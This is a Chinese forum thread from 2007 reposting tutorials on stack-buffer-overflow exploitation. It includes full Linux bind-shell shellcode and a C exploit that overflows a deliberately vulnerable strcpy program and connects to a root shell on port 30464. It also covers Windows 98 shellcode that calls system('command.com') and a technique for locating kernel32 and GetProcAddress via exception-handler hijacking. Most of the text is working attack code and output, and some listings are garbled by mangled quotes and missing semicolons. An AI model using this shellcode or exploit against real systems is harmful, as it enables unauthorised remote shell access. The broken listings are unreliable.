-- 作者:卷积内核 -- 发布时间:11/6/2007 8:32:00 AM -- "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ ------------------------------------------------------------------------ ---- listen(soc,1)的汇编代码 ------------------------------------------------------------------------ ---- /* listen使用66号系统调用,4号子调用。 */ /* 他使用一段内存块来传递参数。 */ /* %ecx 里面为这个内存块的地址指针. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax 的内容为刚才socket调用的返回值, */ /* 就是soc文件描述符,作为第一个参数 */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* 第二个参数. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ ------------------------------------------------------------------------ ---- accept(soc,0,0)的汇编代码 ------------------------------------------------------------------------ ---- /* accept使用66号系统调用,5号子调用。 */ /* 他使用一段内存块来传递参数。 */ /* %ecx 里面为这个内存块的地址指针. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\xf1" /* movl %eax,(%esi) */ /* %eax 的内容为刚才socket调用的返回值, */ /* 就是soc文件描述符,作为第一个参数 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* 第二个参数. */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* 第三个参数. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ ------------------------------------------------------------------------ ---- dup2(cli,0)的汇编代码 ------------------------------------------------------------------------ ---- /* 第一个参数为 %ebx, 第二个参数为 %ecx */ char code[]= /* %eax 里面是刚才accept调用的返回值, */ /* 客户的文件描述符cli . */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ ------------------------------------------------------------------------ ---- 现在该把这些所有的细节都串起来,形成一个新的shell的时候了。 new shellcode ------------------------------------------------------------------------ ---- char shellcode[]= 00 "\x31\xc0" /* xorl %eax,%eax */ 02 "\xb0\x02" /* movb $0x2,%al */ 04 "\xcd\x80" /* int $0x80 */ 06 "\x85\xc0" /* testl %eax,%eax */ 08 "\x75\x43" /* jne 0x43 */ /* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */ /* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */ 0a "\xeb\x43" /* jmp 0x43 */ /* 当fork()==0 的时候,表明是子进程 */ /* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */ 0c "\x5e" /* popl %esi */ 0d "\x31\xc0" /* xorl %eax,%eax */ 0f "\x31\xdb" /* xorl %ebx,%ebx */ 11 "\x89\xf1" /* movl %esi,%ecx */ 13 "\xb0\x02" /* movb $0x2,%al */ 15 "\x89\x06" /* movl %eax,(%esi) */ 17 "\xb0\x01" /* movb $0x1,%al */ 19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */ 1c "\xb0\x06" /* movb $0x6,%al */ 1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */ 21 "\xb0\x66" /* movb $0x66,%al */ 23 "\xb3\x01" /* movb $0x1,%bl */ 25 "\xcd\x80" /* int $0x80 */ /* 执行socket(),eax里面为返回值soc文件描述符 */ 27 "\x89\x06" /* movl %eax,(%esi) */
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:33:00 AM -- 29 "\xb0\x02" /* movb $0x2,%al */ 2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ 2f "\xb0\x77" /* movb $0x77,%al */ 31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ 35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ 38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */ 3b "\x31\xc0" /* xorl %eax,%eax */ 3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */ 40 "\xb0\x10" /* movb $0x10,%al */ 42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */ 45 "\xb0\x66" /* movb $0x66,%al */ 47 "\xb3\x02" /* movb $0x2,%bl */ 49 "\xcd\x80" /* int $0x80 */ /* 执行bind() */ 4b "\xeb\x04" /* jmp 0x4 */ /* 越过下面的两个跳转 */ 4d "\xeb\x55" /* jmp 0x55 */ /* 跳到0x4f+0x55=0xa4 */ 4f "\xeb\x5b" /* jmp 0x5b */ /* 跳到0x51+0x5b=0xac */ 51 "\xb0\x01" /* movb $0x1,%al */ 53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */ 56 "\xb0\x66" /* movb $0x66,%al */ 58 "\xb3\x04" /* movb $0x4,%bl */ 5a "\xcd\x80" /* int $0x80 */ /* 执行listen() */ 5c "\x31\xc0" /* xorl %eax,%eax */ 5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */ 61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */ 64 "\xb0\x66" /* movb $0x66,%al */ 66 "\xb3\x05" /* movb $0x5,%bl */ 68 "\xcd\x80" /* int $0x80 */ /* 执行accept(),eax里面为返回值cli文件描述符 */ 6a "\x88\xc3" /* movb %al,%bl */ 6c "\xb0\x3f" /* movb $0x3f,%al */ 6e "\x31\xc9" /* xorl %ecx,%ecx */ 70 "\xcd\x80" /* int $0x80 */ 72 "\xb0\x3f" /* movb $0x3f,%al */ 74 "\xb1\x01" /* movb $0x1,%cl */ 76 "\xcd\x80" /* int $0x80 */ 78 "\xb0\x3f" /* movb $0x3f,%al */ 7a "\xb1\x02" /* movb $0x2,%cl */ 7c "\xcd\x80" /* int $0x80 */ /* 执行三个dup2() */ 7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ /* %eax="/bin" */ 83 "\x89\x06" /* movl %eax,(%esi) */ 85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ /* %eax="/sh/" */ 8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */ 8d "\x31\xc0" /* xorl %eax,%eax */ 8f "\x88\x46\x07" /* movb %al,0x7(%esi) */ 92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */ 95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ 98 "\xb0\x0b" /* movb $0xb,%al */ 9a "\x89\xf3" /* movl %esi,%ebx */ 9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ 9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ a2 "\xcd\x80" /* int $0x80 */ /* 执行execve() */ /* 运行/bin/sh() */ a4 "\x31\xc0" /* xorl %eax,%eax */ a6 "\xb0\x01" /* movb $0x1,%al */ a8 "\x31\xdb" /* xorl %ebx,%ebx */ aa "\xcd\x80" /* int $0x80 */ /* 执行exit() */ ac "\xe8\x5b\xff\xff\xff" /* call -0xa5 */ /* 执行0x0c处的指令 */ b1 ------------------------------------------------------------------------ ---- 好,长长的shell终于写完了,下面就是攻击程序了。 exploit4.c ------------------------------------------------------------------------ ---- #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<netdb.h> #include<netinet/in.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 200 #define NOP 0x90 char shellcode[]=
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:33:00 AM -- "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ "\xeb\x43" /* jmp 0x43 */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff" /* call -0xa5 */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } long getip(char *name) { struct hostent *hp; long ip; if((ip=inet_addr(name))==-1) { if((hp=gethostbyname(name))==NULL)
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:34:00 AM -- { fprintf(stderr,"Can"t resolve host.\n"); exit(0); } memcpy(&ip,(hp->h_addr),4); } return ip; } int exec_sh(int sockfd) { char snd[4096],rcv[4096]; fd_set rset; while(1) { FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sockfd,&rset); select(255,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd)); } if(FD_ISSET(sockfd,&rset)) { memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))<=0) exit(0); fputs(rcv,stdout); } } } int connect_sh(long ip) { int sockfd,i; struct sockaddr_in sin; printf("Connect to the shell\n"); fflush(stdout); memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(30464); sin.sin_addr.s_addr=ip; if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Can"t create socket\n"); exit(0); } if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0) { printf("Can"t connect to the shell\n"); exit(0); } return sockfd; } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; int sockfd; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i<bsize;i+=4) { buff[i+ALIGN]=(addr&0x000000ff); buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++) buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; buff[bsize-1]="\0" printf("Jump to 0x%08x\n",addr); if(fork()==0) { execl("./vulnerable","vulnerable",buff,0); exit(0); } sleep(5); sockfd=connect_sh(getip("127.0.0.1")); exec_sh(sockfd); } ------------------------------------------------------------------------ ---- 算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标 程序 来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的 shellcode被 执行,那么在30464端口就会有server在listen了。 父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket 读取 收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端 。 下面来试一试: 我们先写一个漏洞程序: vulnerable.C ------------------------------------------------------------------------ ---- #include <stdio.h> int main(int argc,char ** argv) { char buffer[1000]; printf("I am here%x,buffer%d\n",buffer,strlen(argv[1])); strcpy(buffer,argv[1]); return 0; } ------------------------------------------------------------------------
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:34:00 AM -- ---- [nkl10]$ ./exploit Jump to 0xbffff63c I am herebffff280,buffer1224 Connect to the shell Can"t connect to the shell 看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样 就可以 不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。 [nkl10]$./exploit 956 Jump to 0xbffff280 I am herebffff280,buffer1224 connect to shell whoami root id uid=0(root)...... uname -a Linux localhost.localdomain 2.2.5-15。。。 嘿嘿,大功告成了。 --------------------------------------------------------------- window系统下的堆栈溢出--原理篇 这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序 的 堆栈溢出漏洞。 让我们从头开始。windows 98第二版 首先,我们来写一个问题程序: #include <stdio.h> int main() { char name[32]; gets(name); for(int i=0;i<32&&name[i];i++) printf("\\0x%x",name[i]); } 相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程 序 一个很长的串,肯定可以覆盖堆栈中的返回地址。 C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaa \0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0 x61\0x61 \0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0 x61\0x61 到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点 击 详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我 们。 这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏 移位置。 C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1 12345678910111213141516171819202122232425262728293031323334353637383940 \0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0 x32\0x31 \0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0 x30\0x32 到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细 信息 按钮,下面是详细信息: VUNERABLE 在 00de:32363235 的模块 <未知> 中导致无效页错误。 Registers: EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246 EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233 ECX=00000020 DS=0187 ESI=816bffcc FS=11df EDX=00411a68 ES=0187 EDI=00000000 GS=0000 Bytes at CS:EIP: Stack dump: 32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68 0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c 哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计 算 一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name 变量 地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的 shellcode。 我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始 地址 是多少呢? 通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为 0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在 windows 系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址 都 是相同的。也就是说,每次运行,name的地址都是0x64fdd4。 讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检 测, 出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析 溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。 OK,万事具备,只差shellcode了。 首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一 个 dos窗口,这样在这个窗口下,我们就可以作很多事情。 开一个dos窗口的程序如下: #include <windows.h> #include <winbase.h> typedef void (*MYPROC)(LPTSTR); int main() {
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:34:00 AM -- HINSTANCE LibHandle; MYPROC ProcAdd; char dllbuf[11] = "msvcrt.dll" char sysbuf[7] = "system" char cmdbuf[16] = "command.com" LibHandle = LoadLibrary(dllbuf); ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf); (ProcAdd) (cmdbuf); return 0; } 这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个 dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。 但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说 , windows通过动态链接库来提供系统函数。这就是所谓的Dll"s。 因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个 包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一 个 基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由 msvcrt.dll (the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从 0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地 址 只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上, msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。 所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接 库 msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle, system) 获得 system的真实地址。之后才能使用这个真实地址来调用system函数。 好了,现在可以编译执行,结果正确,我们得到了一个dos框。 现在对这个程序进行调试跟踪汇编语言,可以得到: 15: LibHandle = LoadLibrary(dllbuf); 00401075 lea edx,dword ptr [dllbuf] 00401078 push edx 00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)] 0040107F mov dword ptr [LibHandle],eax 16: 17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf); 00401082 lea eax,dword ptr [sysbuf] 00401085 push eax 00401086 mov ecx,dword ptr [LibHandle] 00401089 push ecx 0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)] 00401090 mov dword ptr [ProcAdd],eax ;现在,eax的值为0x78019824就是system的真实地址。 ;这个地址对于我的机器而言是唯一的。不用每次都找了。 18: 19: (ProcAdd) (cmdbuf); 00401093 lea edx,dword ptr [cmdbuf] ;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址 00401096 push edx 00401097 call dword ptr [ProcAdd] 0040109A add esp,4 现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代 码 是否能够像我们设计的那样工作: #include <windows.h> #include <winbase.h> void main() { LoadLibrary("msvcrt.dll"); __asm { mov esp,ebp ;把ebp的内容赋值给esp push ebp ;保存ebp,esp-4 mov ebp,esp ;给ebp赋新值,将作为局部变量 的基指针 xor edi,edi ; push edi ;压入0,esp-4, ;作用是构造字符串的结尾\0字符 。 sub esp,08h ;加上上面,一共有12个字节, ;用来放"command.com"。 mov byte ptr [ebp-0ch],63h ; mov byte ptr [ebp-0bh],6fh ; mov byte ptr [ebp-0ah],6dh ; mov byte ptr [ebp-09h],6Dh ; mov byte ptr [ebp-08h],61h ; mov byte ptr [ebp-07h],6eh ; mov byte ptr [ebp-06h],64h ; mov byte ptr [ebp-05h],2Eh ; mov byte ptr [ebp-04h],63h ; mov byte ptr [ebp-03h],6fh ; mov byte ptr [ebp-02h],6dh ;生成串"command.com". lea eax,[ebp-0ch] ; push eax ;串地址作为参数入栈 mov eax, 0x78019824 ; call eax ;调用system } } 编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起 了 当年用286的时候了? 敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我 们的 程序已经把堆栈指针搞乱了。 对上面的算法进行优化,现在我们可以写出shellcode如下: char shellcode[] = { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:35:00 AM -- 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }; 还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个 shellcode: #include <windows.h> #include <winbase.h> char shellcode[] = { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }; int main() { int *ret; LoadLibrary("msvcrt.dll"); ret = (int *)&ret + 2; //ret 等于main()的返回地址 //(+2是因为:有push ebp ,否则加1就可以了。) (*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地 址。 } 编译运行,得到dos对话框。 现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计 算 偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆 栈溢出 的能力了,下面,我们通过实战来真正掌握他。 -------------------------------------------------------------- WINDOWS的SHELLCODE编写高级技巧 作者:yuange unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出 再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比 较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET 连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80 规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写 WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。 经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。 1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出 点大致范围就可以了。 2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP ESP功能的指令地址就可以定位了。 3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4 、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。 4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。 5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解 码,这样编写SHELLCODE就可以不用考虑特殊字符了。 6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。 下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用 GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个 API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里 面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和 GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在 内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要 是增加异常结构处理 。下面是VC6.0程序代码: void shellcodefn() { int *except[3]; FARPROC procgetadd=0; char *stradd; int imgbase,fnbase,i,k,l; HANDLE libhandle; _asm {
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:35:00 AM -- jmp nextcall getstradd: pop stradd lea EDI,except mov eax,dword ptr FS:[0] mov dword ptr [edi+0x08],eax mov dword ptr FS:[0],EDI } except[0]=0xffffffff; except[1]=stradd-0x07; /* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */ imgbase=0x77e00000; /* 搜索KERNEL32.DLL 的起始其实地址 */ call getexceptretadd } /* 得到异常后的返回地址 */ for(;imgbase<0xbffa0000,procgetadd==0;){ imgbase+=0x10000; /* 模块地址是64K为单位,加快速度*/ if(imgbase==0x78000000) imgbase=0xbff00000; /* 如果到这还没有搜索到,那可能是WIN9X系统 */ if(*( WORD *)imgbase=='ZM'&& *(WORD *) (imgbase+*(int *)(imgbase+0x3c))=='EP'){ /* 模块结构的模块头 */ fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase; k=*(int *)(fnbase+0xc)+imgbase; if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){ /* 模块名 */ libhandle=imgbase; /* 得到模块头地址,就是模块句柄 */ k=imgbase+*(int *)(fnbase+0x20); for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){ if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){ /* 引出名 */ k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24)); k+=*(int *)(fnbase+0x10)-1; k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c)); procgetadd=k+imgbase; /* API地址 */ break; } } } } } // 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址 // 注意这儿处理了搜索页面不在情况。 _asm{ lea edi,except mov eax,dword ptr [edi+0x08] mov dword ptr fs:[0],eax } /* 恢复异常结构链 */ if(procgetadd==0) goto die ; /* 如果没找到GetProcAddress地址死循环 */ die: goto die ; _asm{ getexceptretadd: pop eax push eax mov edi,dword ptr [stradd] mov dword ptr [edi-0x0e],eax ret /* 得到异常后的返回地址,并填写到异常处理模块 */ /* 异常处理模块 */ errprogram: mov eax,dword ptr [esp+0x0c] add eax,0xb8 mov dword ptr [eax],0x11223344 //stradd-0xe /* 修改异常返回EIP指针 */ xor eax,eax //2 /* 不提示异常 */ ret //1 /* 异常处理返回 */ execptprogram: jmp errprogram //2 bytes stradd-7 nextcall: call getstradd //5 bytes } } (完) |
W 3 C h i n a ( since 2003 ) 旗 下 站 点 苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》 |
5,734.375ms |